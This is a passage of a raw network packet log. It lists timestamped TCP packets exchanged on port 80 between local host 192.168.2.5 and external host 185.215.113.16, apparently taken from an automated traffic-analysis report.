Nov 1, 2024 05:53:21.062890053 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062958956 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062971115 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062980890 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062992096 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062999010 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063002110 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063014030 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063024998 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063039064 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063050985 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063194990 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063205957 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063225031 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063235044 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063241959 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063249111 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063255072 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063266039 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063267946 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063277006 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063277006 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063290119 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063298941 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063299894 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063318014 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063329935 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063334942 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063334942 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063369989 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063662052 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063678980 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063689947 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063700914 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063704967 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063713074 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063723087 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063734055 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063735962 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063745975 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063756943 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063762903 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063767910 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063780069 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063781977 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063791037 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063792944 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063805103 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.063817978 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.063843012 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064140081 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064151049 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064179897 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064204931 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064250946 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064261913 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064270973 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064281940 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064291000 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064295053 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064302921 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064313889 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064323902 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064326048 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064335108 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064343929 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064344883 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064354897 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064358950 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064372063 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064385891 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064413071 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064901114 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064913988 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064924955 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064935923 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064944029 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064948082 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064959049 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064966917 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.064970016 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064981937 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064991951 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.064995050 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065005064 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065013885 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065018892 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065031052 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065047026 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065057039 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065066099 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065077066 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065077066 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065077066 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065092087 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065099001 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065103054 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065114021 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065118074 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065125942 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065136909 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065139055 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065171003 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065198898 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065841913 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065853119 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065862894 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065874100 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065882921 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065886021 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065898895 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065911055 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065912008 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065923929 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065929890 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065937042 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065948963 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065954924 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065962076 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065974951 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065979958 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065988064 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.065988064 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.065999031 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066010952 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066019058 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066023111 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066034079 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066045046 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066046000 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066057920 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066063881 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066066980 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066078901 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066087961 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066114902 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066123962 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066803932 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066816092 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066824913 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066838026 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066843987 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066848993 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066853046 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066860914 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066871881 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066881895 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066884995 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066895008 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066900969 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066914082 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066921949 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066926003 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066937923 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066943884 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066950083 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066962004 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066963911 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066972971 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066983938 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.066988945 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.066996098 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067006111 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067007065 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067019939 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067030907 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067033052 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067044020 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067055941 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067075014 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067097902 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067764044 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067775965 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067790985 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067802906 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067806005 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067814112 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067825079 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067828894 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067837954 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067850113 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067857027 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067861080 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067874908 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067878962 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067887068 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067897081 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067898035 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067909956 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067917109 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067922115 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067934036 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067943096 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067944050 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067955971 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067966938 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067969084 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067977905 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.067985058 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.067989111 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068001032 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068006992 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068011999 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068048000 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068732977 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068744898 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068754911 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068766117 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068773985 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068778038 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068789959 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068800926 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068800926 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068816900 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068828106 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068829060 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068837881 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068842888 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068855047 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068865061 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068876982 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068876982 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068888903 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068898916 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068905115 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068908930 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068919897 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068922043 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068932056 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068933964 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068944931 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068955898 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068963051 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.068967104 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068979025 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.068989038 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069001913 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069029093 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069677114 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069689035 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069700956 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069713116 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069724083 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069725990 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069736004 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069741011 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069747925 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069760084 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069771051 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069772005 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069781065 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069782019 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069794893 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069794893 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069804907 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069816113 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069824934 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069828033 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069839954 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069849014 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069856882 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069864035 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069874048 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069885015 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069886923 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069896936 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069905043 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069907904 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069920063 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.069926977 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069951057 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.069964886 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070266962 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070278883 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070288897 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070301056 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070311069 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070317030 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070353031 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070420980 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070432901 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070445061 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070456982 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070475101 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070475101 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070487022 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070491076 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070499897 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070501089 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070517063 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070528030 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070529938 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070539951 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070539951 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070552111 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070561886 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070563078 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070575953 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070586920 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070588112 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070599079 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070600986 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070614100 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070625067 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070626974 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070636034 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070647001 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070652962 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070657015 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070667982 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070669889 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070681095 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.070681095 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.070713997 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.071271896 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.071284056 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.071296930 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.071309090 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.071326017 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.071330070 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.071336031 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.071338892 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.071382999 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.104634047 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.104645967 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.104656935 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.104680061 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.104717970 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.104754925 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.104767084 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.104777098 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.104788065 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.104799032 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.104799032 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.104825020 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.104835033 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.104877949 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.104918957 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.104989052 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.105000019 CET	80	49995	185.215.113.16	192.168.2.5
